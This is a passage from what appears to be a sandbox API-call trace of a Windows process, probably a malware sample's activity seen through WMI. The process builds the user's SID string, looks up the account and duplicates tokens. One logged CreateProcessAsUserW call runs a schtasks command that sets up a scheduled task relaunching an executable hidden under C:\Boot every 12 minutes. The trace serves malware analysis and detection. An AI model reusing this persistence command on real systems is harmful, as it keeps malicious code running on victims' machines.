ReturnLength=0xebce18) returned 0 [0089.563] GetLastError () returned 0x7a [0089.563] malloc (_Size=0x2c) returned 0xee240 [0089.563] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0089.563] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0089.563] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0089.563] malloc (_Size=0x1c) returned 0xeff60 [0089.563] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff60, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0089.564] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0089.564] malloc (_Size=0x18) returned 0xef020 [0089.564] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0089.564] malloc (_Size=0x18) returned 0xeef00 [0089.564] malloc (_Size=0x18) returned 0xeef60 [0089.564] SysStringLen (param_1="S-1-") returned 0x4 [0089.564] SysStringLen (param_1="5") returned 0x1 [0089.564] memcpy (in: _Dst=0x381178, _Src=0x381628, _Size=0xa | out: _Dst=0x381178) returned 0x381178 [0089.564] memcpy (in: _Dst=0x381180, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x381180) returned 0x381180 [0089.564] free (_Block=0xef020) [0089.564] free (_Block=0xeef00) [0089.564] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0089.564] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0089.564] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0089.564] malloc (_Size=0x18) returned 0xeef00 [0089.564] malloc (_Size=0x18) returned 0xef020 [0089.564] SysStringLen (param_1="S-1-5") returned 0x5 [0089.564] SysStringLen (param_1="-") returned 0x1 [0089.564] memcpy (in: _Dst=0x3811a8, _Src=0x381178, _Size=0xc | out: _Dst=0x3811a8) returned 0x3811a8 [0089.564] memcpy (in: _Dst=0x3811b2, _Src=0x381628, _Size=0x4 | out: _Dst=0x3811b2) returned 0x3811b2 [0089.564] free (_Block=0xeef60) [0089.564] free (_Block=0xeef00) [0089.565] malloc (_Size=0x18) returned 0xeef00 [0089.565] malloc (_Size=0x18) returned 0xeef60 [0089.565] SysStringLen (param_1="S-1-5-") returned 0x6 [0089.565] SysStringLen (param_1="21") returned 0x2 [0089.565] memcpy (in: _Dst=0x381628, _Src=0x3811a8, _Size=0xe | out: _Dst=0x381628) returned 0x381628 [0089.565] memcpy (in: _Dst=0x381634, _Src=0x381178, _Size=0x6 | out: _Dst=0x381634) returned 0x381634 [0089.565] free (_Block=0xef020) [0089.565] free (_Block=0xeef00) [0089.565] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0089.565] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0089.565] malloc (_Size=0x18) returned 0xeef00 [0089.565] malloc (_Size=0x18) returned 0xef020 [0089.565] SysStringLen (param_1="S-1-5-21") returned 0x8 [0089.565] SysStringLen (param_1="-") returned 0x1 [0089.565] memcpy (in: _Dst=0x381178, _Src=0x381628, _Size=0x12 | out: _Dst=0x381178) returned 0x381178 [0089.565] memcpy (in: _Dst=0x381188, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x381188) returned 0x381188 [0089.565] free (_Block=0xeef60) [0089.565] free (_Block=0xeef00) [0089.565] malloc (_Size=0x18) returned 0xeef00 [0089.565] malloc (_Size=0x18) returned 0xeef60 [0089.565] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0089.565] SysStringLen (param_1="4219442223") returned 0xa [0089.565] memcpy (in: _Dst=0x337af8, _Src=0x381178, _Size=0x14 | out: _Dst=0x337af8) returned 0x337af8 [0089.565] memcpy (in: _Dst=0x337b0a, _Src=0x381628, _Size=0x16 | out: _Dst=0x337b0a) returned 0x337b0a [0089.566] free (_Block=0xef020) [0089.566] free (_Block=0xeef00) [0089.566] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0089.566] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0089.566] malloc (_Size=0x18) returned 0xeef00 [0089.566] malloc (_Size=0x18) returned 0xef020 [0089.566] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0089.566] SysStringLen (param_1="-") returned 0x1 [0089.566] memcpy (in: _Dst=0x337a58, _Src=0x337af8, _Size=0x28 | out: _Dst=0x337a58) returned 0x337a58 [0089.566] memcpy (in: _Dst=0x337a7e, _Src=0x381178, _Size=0x4 | out: _Dst=0x337a7e) returned 0x337a7e [0089.566] free (_Block=0xeef60) [0089.566] free (_Block=0xeef00) [0089.566] malloc (_Size=0x18) returned 0xeef00 [0089.566] malloc (_Size=0x18) returned 0xeef60 [0089.566] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0089.566] SysStringLen (param_1="4223814209") returned 0xa [0089.566] memcpy (in: _Dst=0x34dc88, _Src=0x337a58, _Size=0x2a | out: _Dst=0x34dc88) returned 0x34dc88 [0089.566] memcpy (in: _Dst=0x34dcb0, _Src=0x381178, _Size=0x16 | out: _Dst=0x34dcb0) returned 0x34dcb0 [0089.566] free (_Block=0xef020) [0089.566] free (_Block=0xeef00) [0089.566] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0089.566] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0089.566] malloc (_Size=0x18) returned 0xeef00 [0089.566] malloc (_Size=0x18) returned 0xef020 [0089.566] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0089.566] SysStringLen (param_1="-") returned 0x1 [0089.567] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x3e | out: _Dst=0x34d958) returned 0x34d958 [0089.567] memcpy (in: _Dst=0x34d994, _Src=0x381178, _Size=0x4 | out: _Dst=0x34d994) returned 0x34d994 [0089.567] free (_Block=0xeef60) [0089.567] free (_Block=0xeef00) [0089.567] malloc (_Size=0x18) returned 0xeef00 [0089.567] malloc (_Size=0x18) returned 0xeef60 [0089.567] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0089.567] SysStringLen (param_1="3835049652") returned 0xa [0089.567] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x40 | out: _Dst=0x34dc88) returned 0x34dc88 [0089.567] memcpy (in: _Dst=0x34dcc6, _Src=0x381178, _Size=0x16 | out: _Dst=0x34dcc6) returned 0x34dcc6 [0089.567] free (_Block=0xef020) [0089.567] free (_Block=0xeef00) [0089.567] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0089.567] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0089.567] malloc (_Size=0x18) returned 0xeef00 [0089.567] malloc (_Size=0x18) returned 0xef020 [0089.567] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0089.567] SysStringLen (param_1="-") returned 0x1 [0089.567] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x54 | out: _Dst=0x34d958) returned 0x34d958 [0089.567] memcpy (in: _Dst=0x34d9aa, _Src=0x381178, _Size=0x4 | out: _Dst=0x34d9aa) returned 0x34d9aa [0089.567] free (_Block=0xeef60) [0089.567] free (_Block=0xeef00) [0089.568] malloc (_Size=0x18) returned 0xeef00 [0089.568] malloc (_Size=0x18) returned 0xeef60 [0089.568] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0089.568] SysStringLen (param_1="1000") returned 0x4 [0089.568] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x56 | out: _Dst=0x34dc88) returned 0x34dc88 [0089.568] memcpy (in: _Dst=0x34dcdc, _Src=0x381178, _Size=0xa | out: _Dst=0x34dcdc) returned 0x34dcdc [0089.568] free (_Block=0xef020) [0089.568] free (_Block=0xeef00) [0089.568] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0089.568] malloc (_Size=0x5e) returned 0xf0800 [0089.568] free (_Block=0xeef60) [0089.568] malloc (_Size=0x18) returned 0xeef60 [0089.569] free (_Block=0xf0800) [0089.569] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0089.570] GetLastError () returned 0x7a [0089.570] malloc (_Size=0x14) returned 0xeef00 [0089.570] malloc (_Size=0x16) returned 0xef020 [0089.570] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef00, cchName=0xebccb4, ReferencedDomainName=0xef020, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0089.570] malloc (_Size=0x18) returned 0xef0a0 [0089.570] malloc (_Size=0x18) returned 0xef040 [0089.570] free (_Block=0xeef00) [0089.570] free (_Block=0xef020) [0089.570] free (_Block=0xeff60) [0089.571] free (_Block=0xef040) [0089.571] free (_Block=0xef0a0) [0089.571] free (_Block=0xeef60) [0089.571] free (_Block=0xee240) [0089.571] malloc (_Size=0x48) returned 0xed400 [0089.571] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0089.578] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0089.578] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0089.578] malloc (_Size=0x18) returned 0xeef60 [0089.578] CreateEnvironmentBlock () returned 0x1 [0089.612] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0089.612] malloc (_Size=0x18) returned 0xef0a0 [0089.612] CreateProcessAsUserW (in: hToken=0x234, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"omniposo\" /sc MINUTE /mo 12 /tr \"'C:\\Boot\\zh-CN\\omnipos.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"omniposo\" /sc MINUTE /mo 12 /tr \"'C:\\Boot\\zh-CN\\omnipos.exe'\" /f", lpProcessInformation=0xebcdc0*(hProcess=0x2fc, hThread=0x244, dwProcessId=0x950, dwThreadId=0x954)) returned 1 [0089.617] CloseHandle (hObject=0x2fc) returned 1 [0089.617] CloseHandle (hObject=0x244) returned 1 [0089.617] free (_Block=0xef0a0) [0089.617] DestroyEnvironmentBlock () returned 0x1 [0089.617] malloc (_Size=0x48) returned 0xed2c0 [0089.617] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x5e6328c0, dwHighDateTime=0x1d9eb0c)) [0089.618] SetEvent (hEvent=0x1f0) returned 1 [0089.618] CloseHandle (hObject=0x238) returned 1 [0089.618] CloseHandle (hObject=0x234) returned 1 [0089.702] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da90 [0089.702] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da90, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0089.702] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0090.273] SetLastError (dwErrCode=0x0) [0090.273] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0090.273] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0090.274] SetLastError (dwErrCode=0x0) [0090.274] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0) returned 1 [0090.274] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0090.274] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0090.274] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f010 [0090.274] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f010, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0090.274] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f010 | out: hHeap=0x2e0000) returned 1 [0090.276] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0090.276] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0090.276] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0090.276] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0090.277] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0090.277] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0090.277] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0090.279] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0090.279] GetCurrentThread () returned 0xfffffffffffffffe [0090.279] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x234) returned 1 [0090.279] malloc (_Size=0xd8) returned 0xf4740 [0090.279] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0090.280] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0090.280] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0090.280] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0090.280] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0090.280] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0090.281] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0090.281] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0090.281] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0090.281] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0090.281] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0090.281] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0090.282] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0090.282] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0090.282] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0090.282] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0090.282] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0090.282] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0090.283] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0090.283] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0090.283] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0090.283] malloc (_Size=0x18) returned 0xef0a0 [0090.283] DuplicateTokenEx (in: hExistingToken=0x234, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x238) returned 1 [0090.283] malloc (_Size=0x48) returned 0xed270 [0090.283] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x5ec4c120, dwHighDateTime=0x1d9eb0c)) [0090.283] SetEvent (hEvent=0x1f0) returned 1 [0090.290] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0090.290] GetLastError () returned 0x7a [0090.290] malloc (_Size=0x2c) returned 0xee200 [0090.290] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0090.290] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0090.290] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0090.290] malloc (_Size=0x1c) returned 0xeff30 [0090.290] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff30, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0090.290] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0090.290] malloc (_Size=0x18) returned 0xef0a0 [0090.290] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0090.290] malloc (_Size=0x18) returned 0xeef60 [0090.290] malloc (_Size=0x18) returned 0xef040 [0090.290] SysStringLen (param_1="S-1-") returned 0x4 [0090.291] SysStringLen (param_1="5") returned 0x1 [0090.291] memcpy (in: _Dst=0x3812c8, _Src=0x3810e8, _Size=0xa | out: _Dst=0x3812c8) returned 0x3812c8 [0090.291] memcpy (in: _Dst=0x3812d0, _Src=0x381088, _Size=0x4 | out: _Dst=0x3812d0) returned 0x3812d0 [0090.291] free (_Block=0xef0a0) [0090.291] free (_Block=0xeef60) [0090.291] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0090.291] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0090.291] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0090.291] malloc (_Size=0x18) returned 0xeef60 [0090.291] malloc (_Size=0x18) returned 0xef0a0 [0090.291] SysStringLen (param_1="S-1-5") returned 0x5 [0090.291] SysStringLen (param_1="-") returned 0x1 [0090.291] memcpy (in: _Dst=0x381088, _Src=0x3812c8, _Size=0xc | out: _Dst=0x381088) returned 0x381088 [0090.291] memcpy (in: _Dst=0x381092, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x381092) returned 0x381092 [0090.291] free (_Block=0xef040) [0090.291] free (_Block=0xeef60) [0090.291] malloc (_Size=0x18) returned 0xeef60 [0090.291] malloc (_Size=0x18) returned 0xef040 [0090.291] SysStringLen (param_1="S-1-5-") returned 0x6 [0090.291] SysStringLen (param_1="21") returned 0x2 [0090.292] memcpy (in: _Dst=0x3810e8, _Src=0x381088, _Size=0xe | out: _Dst=0x3810e8) returned 0x3810e8 [0090.292] memcpy (in: _Dst=0x3810f4, _Src=0x3812c8, _Size=0x6 | out: _Dst=0x3810f4) returned 0x3810f4 [0090.292] free (_Block=0xef0a0) [0090.292] free (_Block=0xeef60) [0090.292] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0090.292] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0090.292] malloc (_Size=0x18) returned 0xeef60 [0090.292] malloc (_Size=0x18) returned 0xef0a0 [0090.292] SysStringLen (param_1="S-1-5-21") returned 0x8 [0090.292] SysStringLen (param_1="-") returned 0x1 [0090.292] memcpy (in: _Dst=0x3812c8, _Src=0x3810e8, _Size=0x12 | out: _Dst=0x3812c8) returned 0x3812c8 [0090.292] memcpy (in: _Dst=0x3812d8, _Src=0x381088, _Size=0x4 | out: _Dst=0x3812d8) returned 0x3812d8 [0090.292] free (_Block=0xef040) [0090.292] free (_Block=0xeef60) [0090.292] malloc (_Size=0x18) returned 0xeef60 [0090.292] malloc (_Size=0x18) returned 0xef040 [0090.292] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0090.292] SysStringLen (param_1="4219442223") returned 0xa [0090.292] memcpy (in: _Dst=0x338318, _Src=0x3812c8, _Size=0x14 | out: _Dst=0x338318) returned 0x338318 [0090.292] memcpy (in: _Dst=0x33832a, _Src=0x3810e8, _Size=0x16 | out: _Dst=0x33832a) returned 0x33832a [0090.292] free (_Block=0xef0a0) [0090.293] free (_Block=0xeef60) [0090.293] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0090.293] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0090.293] malloc (_Size=0x18) returned 0xeef60 [0090.293] malloc (_Size=0x18) returned 0xef0a0 [0090.293] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0090.293] SysStringLen (param_1="-") returned 0x1 [0090.293] memcpy (in: _Dst=0x337788, _Src=0x338318, _Size=0x28 | out: _Dst=0x337788) returned 0x337788 [0090.293] memcpy (in: _Dst=0x3377ae, _Src=0x3812c8, _Size=0x4 | out: _Dst=0x3377ae) returned 0x3377ae [0090.293] free (_Block=0xef040) [0090.293] free (_Block=0xeef60) [0090.293] malloc (_Size=0x18) returned 0xeef60 [0090.293] malloc (_Size=0x18) returned 0xef040 [0090.293] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0090.293] SysStringLen (param_1="4223814209") returned 0xa [0090.293] memcpy (in: _Dst=0x34da68, _Src=0x337788, _Size=0x2a | out: _Dst=0x34da68) returned 0x34da68 [0090.293] memcpy (in: _Dst=0x34da90, _Src=0x3812c8, _Size=0x16 | out: _Dst=0x34da90) returned 0x34da90 [0090.293] free (_Block=0xef0a0) [0090.293] free (_Block=0xeef60) [0090.293] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), 